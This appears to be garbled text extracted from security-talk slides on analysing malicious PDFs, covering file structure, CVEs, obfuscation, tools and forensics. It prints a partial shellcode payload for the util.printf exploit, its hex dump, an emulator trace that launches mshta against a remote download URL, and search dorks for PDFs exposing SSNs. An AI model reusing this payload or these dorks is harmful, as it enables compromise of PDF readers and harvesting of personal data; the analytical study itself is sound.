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Åwhoami
ÅAreas to be covered
ÅStructure
ÅMalware and Exploit Packs
ÅForensics
Å7ÈÁÔȭÓ 0ÏÓÓÉÂÌÅȟ 7ÈÁÔȭÓ ÎÅØÔȣ



ÁHeader
ÁObjects
ÁXRefTable
ÁTrailer
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Á 8 Object Types 

ü Boolean 

ü Numbers

ü Strings

ü Names

ü Arrays

ü Dictionaries

ü Streams

ü Null object



Internal Functions

× Viewer Preferences
ü /PageMode/FullScreen

ü /AA

ü /OpenAction

× Navigation
ü /URI

ü /Launch

ü /GoTo

× Actions
ü /Movie

ü /Sound

JavaScript

× JavaScript 1.6Features
× Not all Functions/Features 

Documented
× Execution Privileges with 

Default Message Warnings
× /JavaScript
üDatabase Access (ADBC)

üMedia Player Access

üSOAP

üNet.HTTP

üTry/Catch Error Handling



ÅGenerally Trusted
ÅVery Popular
ÅEasily Created
ÅVast Functionality both Documented and 

Undocumented
ÅPatch Management is difficult
ÅAntivirus, IDS, and Spam Filtering 

Evasion is TRIVIAL



1. CVE-2007-0045

2. CVE-2007-0046

3. CVE-2007-0047

4. CVE-2007-0048

5. CVE-2007-5020

6. CVE-2007-5666

7. CVE-2007-5659 

8. CVE-2007-5663

9. CVE-2008-0655

10. CVE-2008-0667

11. CVE-2008-0726

12. CVE-2008-0655

13. CVE-2008-1104

14. CVE-2008-2042

15. CVE-2008-2322

16. CVE-2008-2549 

17. CVE-2008-2641

18. CVE-2008-2992

19. CVE-2008-4812

20. CVE-2008-4813

21. CVE-2008-4814

22. CVE-2008-4815

23. CVE-2008-4816

24. CVE-2008-4817



ü CVE-2007-5659    

Collab.collectEmailInfo()

üAdobe Reader < 8.1.2

ü 10/10/2007 Initial vendor notification

ü 02/06/2008 Adobe releases 8.1.2

ü 02/08/2008 Exploit discovered in the wild

üStill being seen today in Web Exploit Packs

ü STILL no Documentation for 

Function/Method







üLiteral Strings Enclosed in ( ) AB = (AB)

Á\ (Backslash) Character used as an Escape Character

Á\n = Line Feed

Á\ddd= Octal Representation

ÁSplit Strings over Multiple Lines with \ (Backslash)

üHexadecimal Data Enclosed in < >

ÁEach pair represents 1 Byte String     AB = <4142>

ÁWhite Space is Ignored (Tabs, Spaces, Line Feeds)



(http://sudosecure.net)

(\150 \164 \164 \160 \072 \057 \057 \163 \165 \144 \157 \

\163 \145 \143 \165 \162 \145 \056 \156 \145 \164)

(http \072 \057 \057s \165d \157 \s \145c \165r \145.net)
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A filter is an optional part of the specification of a 

stream, indicating how the data in the stream must 

be decoded before it is used.

ÅASCIIHexDecode

ÅASCII85Decode

ÅLZWDecode

ÅFlateDecode

ÅRunLengthDecode

ÅCCITTFaxDecode

ÅJBIG2Decode

ÅDCTDecode

ÅJPXDecode

ÅCrypt



5 0 obj

<< /Length 45 >>

stream

BT /F1 12 Tf 100 700 Td (My Clear Text) Tj ET

endstream

endobj

5 0 obj

<< /Length 45 /Filter /ASCII85Decode >>

stream

6<#' \7PQ#?1*BP.+>GQ(+?(u.+B2ko -

r"t06Yp= BEZe =mG ]YAW<,* OE;u ~>

endstream

endobj



5 0 obj

<< /Length 45 >>

stream

BT /F1 12 Tf 100 700 Td (My Clear Text) Tj ET

endstream

endobj

5 0 obj

<< /Length 182 /Filter [/ASCII85Decode / ASCIIHexDecode ] >>

stream

1bp121a"P -+>ROO1c?I40d&5*+>Y_p1GU(.0H`50+>u,#1,ôh,0d&

8++>Y \o1,'h,2]sn1+>Y \o1,'h.1a" \5+>PVn1,pC5A0< fk +>PVn1c$

74@j!Ze+>tqs2_lL20H`50+>u)"2`Mp=1a"P6+>PVn2)HF6@3@<Z

+>bqu2)HF0A0<R7$3~>

endstream



6 0 obj

<< /R 3 /P -3904 

/O ( F^X<c 1><c 1>D^VF< 95 >e^^'<d 7><f 8>r

<cf >\bP /<d 4><c 0><e 2>_<9d>~< 84 ><a 9>\n\\x ) 

/Filter /Standard /Length 128 /V 2

/U ( <d 9> ^?<f2><a 0>!^< aa >^V. \fE \(<8b>e^@^@^@^@^@^@^@^

@^@^@^@^@^@^@^@^@) >>

endobj

5 0 obj

<< /Length 45 >>

stream

s<d1> vz^QG <a2><b4>< af >f<98>< fa ><e9>u<b0>1<86><e3>c

^]?< fd >^VZ5 \WW<8a>C< fd >^ Ze ^[<b1>< eb > ^ E<8e><a1>< bc >0

endstream

endobj

/Encrypt 6 0 R



PDF Specific

üpdftk
üpdf-parser.py
üPDFResurrect
üPDF_streams_inflater
üXpdf(pdfinfo, 

pdfimages)
üPDFCrack

Other Helpful Tools

üText Editor
üSpiderMonkey
üLibemu(sctest)
üMalzilla
üPerl-Fu, Python-Fu, 

Script-&Õȣ
üxorsearch







var sccs unescape( ""+"%"+"u03eb%u"+"eb59%ue805%uf"+"ff8%uffff

%u4949%u4949%u494"+"9%u4937%u4949%u4949%u4949%u4949%u

4949%u5a51%u656a%u5058%u4230%u4231%u6b41%u4141%u4175%

u4132%u3241%u4142%u4230%u5841%u4138%u5042%u4d75%u7939

%u4d6c%u5038%u4344%u4530%u3550%u4c50%u714b%u5555%u4c6

c%u414b%u736c%u4135%u6368%u6a31%u6c4f%u524b%u766f%u6c7

8%u414b%u674f%u6450%u6841%u726b%u6e69%u546b%u6c74%u374

b%u5871%u706e%u6b31%u6e70%u4e79%u4b4c%u3934%u7350%u57

44%u6f77%u6931%u565a%u776d%u6871%u3842%u396b%u4564%u41

6b%u4444%u6364%u5434%u4935%u6e75%u636b%u416f%u3534%u7a

51%u514b%u6e76%u346b%u304c%u6e4b%u416b%u754f%u354c%u6a

51%u6e4b%u476b%u6e6c%u436b%u7a31%u4c4b%u7349%u516c%u5

634%u4b64%u3073%u4f31%u5230%u4e44%u736b%u4470%u4c70%u5

945%u4150%u3468%u4c4c%u634b%u4670%u4c6c% .............);

util.printf (unescape(""+"%"+"25%34%35%30%30%30

%66"), nm);



00000000  eb 03 59 eb 05 e8 f8 ff  ff ff 49 49 49 49 49 49       |?.Y?.?????IIIIII|

00000010  37 49 49 49 49 49 49 49  49 49 49 49 51 5 a 6a 65  |7 IIIIIIIIIIIQZje|

00000020  58 50 30 42 31 42 41 6 b  41 41 75 41 32 41 41 32  |XP 0B1BAkAAuA 2AA 2|

00000030  42 41 30 42 41 58 38 41  42 50 75 4 d 39 79 6 c 4d  |BA 0BAX 8ABPuM 9ylM|

00000040  38 50 44 43 30 45 50 35  50 4 c 4b 71 55 55 6 c 4c  | 8PDC 0EP5PLKqUUlL|

00000050  4 b 41 6 c 73 35 41 68 63  31 6 a 4f 6c 4b 52 6 f 76   |KAls 5Ahc 1jOlKRov|

00000060  78 6 c 4b 41 4 f 67 50 64  41 68 6 b 72 69 6 e 6b 54   |xlKAOgPdAhkrinkT|

00000070  74 6 c 4b 37 71 58 6 e 70  31 6 b 70 6 e 79 4 e 4c 4b  |tlK 7qXnp 1kpnyNLK|

00000080  34 39 50 73 44 57 77 6 f  31 69 5 a 56 6 d 77 71 68   |49 PsDWwo 1iZVmwqh|

00000090  42 38 6 b 39 64 45 6 b 41  44 44 64 63 34 54 35 49  |B8k 9dEkADDdc 4T5I|

000000 a0  75 6 e 6b 63 6 f 41 34 35  51 7 a 4b 51 76 6 e 6b 34   |unkcoA 45 QzKQvnk 4|

000000 b0  4 c 30 4 b 6e 6b 41 4 f 75  4 c 35 51 6 a 4b 6e 6b 47   |L0KnkAOuL 5QjKnkG|

000000 c 0  6 c 6e 6b 43 31 7 a 4b 4c  49 73 6 c 51 34 56 64 4 b  |lnkC 1zKLIslQ 4VdK|

000000 d0  73 30 31 4 f 30 52 44 4 e  6b 73 70 44 70 4 c 45 59   |s01 O0RDNkspDpLEY|

000000 e0  50 41 68 34 4 c 4c 4b 63  70 46 6 c 4c 4b 52 50 57  |PAh 4LLKcpFlLKRPW|

000000 f0  6 c 6e 4d 6c 4b 50 68 37  78 6 a 4b 57 79 6 c 4b 6b   |lnMlKPh 7xjKWylKk|

00000100  30 4 e 50 77 70 77 70 43  30 6 c 4b 75 38 57 4 c 61  |0NPwpwpC 0lKu 8WLa|

00000110  4 f 54 71 78 76 53 50 56  36 6 c 49 79 68 4 e 63 6 b   |OTqxvSPV 6lIyhNck|

00000120  70 51 6 b 56 30 32 48 6 c  30 4 d 5a 67 74 43 6 f 35   |pQkV 02 Hl 0MZgtCo 5|

00000130  38 4 f 68 79 6 e 4d 5a 76  6 e 70 57 4 b 4f 4d 37 72    |8OhynMZvnpWKOM 7r|

00000140  4 d 34 33 73 58 52 54 50  61 57 50 41 78 72 54 63   |M43 sXRTPaWPAxrTc|

00000150  44 42 50 64 7 a 76 4 f 36  4 f 62 41 53 54 31 68 43    |DBPdzvO 6ObAST 1hC|

00000160  54 70 6 e 31 75 31 64 74  6 e 32 4 e 52 45 73 44 64   |Tpn 1u1dtn 2NREsDd|

00000170  6 f 42 43 70 6 f 70 64 35  35 34 6 f 51 63 32 52 43     |oBCpopd 554 oQc 2RC|

00000180  45 70 6 e 64 6 e 34 30 35  38 54 30 75 50 65             |Epndn 4058 T0uPe|



Hook me Captain Cook!

environment/win32/env_w32_dll_export_kernel

32_hooks.c:858 env_w32_hook_WinExec

WinExecmshta

http://adxdnet.net/code/srun.php



InfoKey : Creator

InfoValue :   Acrobat Editor 8.0

InfoKey : Title

InfoValue :   Untitled

InfoKey : Producer

InfoValue :   Adobe Acrobat 8.1.0

InfoKey : ModDate

InfoValue :   D:20081110185228+01'00'

InfoKey : CreationDate

InfoValue :   D:20081110184211+01'00'

PdfID0:  583b53d49a95642808482b87a2ef38

PdfID1: 8de2875640ebb8459e7c623740baa060

NumberOfPages : 1



Internet



Header

Original Objects

Original X -ref Table

Original Trailer

Updated Objects

X-ref Table (Updates)

Trailer

üChanges are Appended

üX-ref Table holds only 

Changes

üPreserves Digital 

Signatures

üObjects are NOT Deleted

üSeveral Copies of the 

Document Exist

üAdded in PDF 1.4



Search PDFs PDFs with

Versions

%

filetype:pdf

site:com dob ssn

address 98 11 11.22%

filetype:pdf 

site:gov 

unclassified 86 8 9.30%

filetype:pdf 

site:mil 

unclassified 65 5 7.69%

filetype:pdf

site:edu exam 

-schedule 97 8 8.25%

filetype:pdf 

site:edu final exam 

-schedule 97 2 2.06%



ÁInventory and Exploit Media Players

üapp.media.getplayers()
ÅplayerInfoList object (id, mimeTypes, name, version)

üFlash Player, Shockwave, QuickTime,  
Realplayer, Windows Media Player, and 
Others

üStore Payloads in PDF (compressed)

ÁWormability

üIncremental Updates
ÅAppend badness without Altering the original PDF


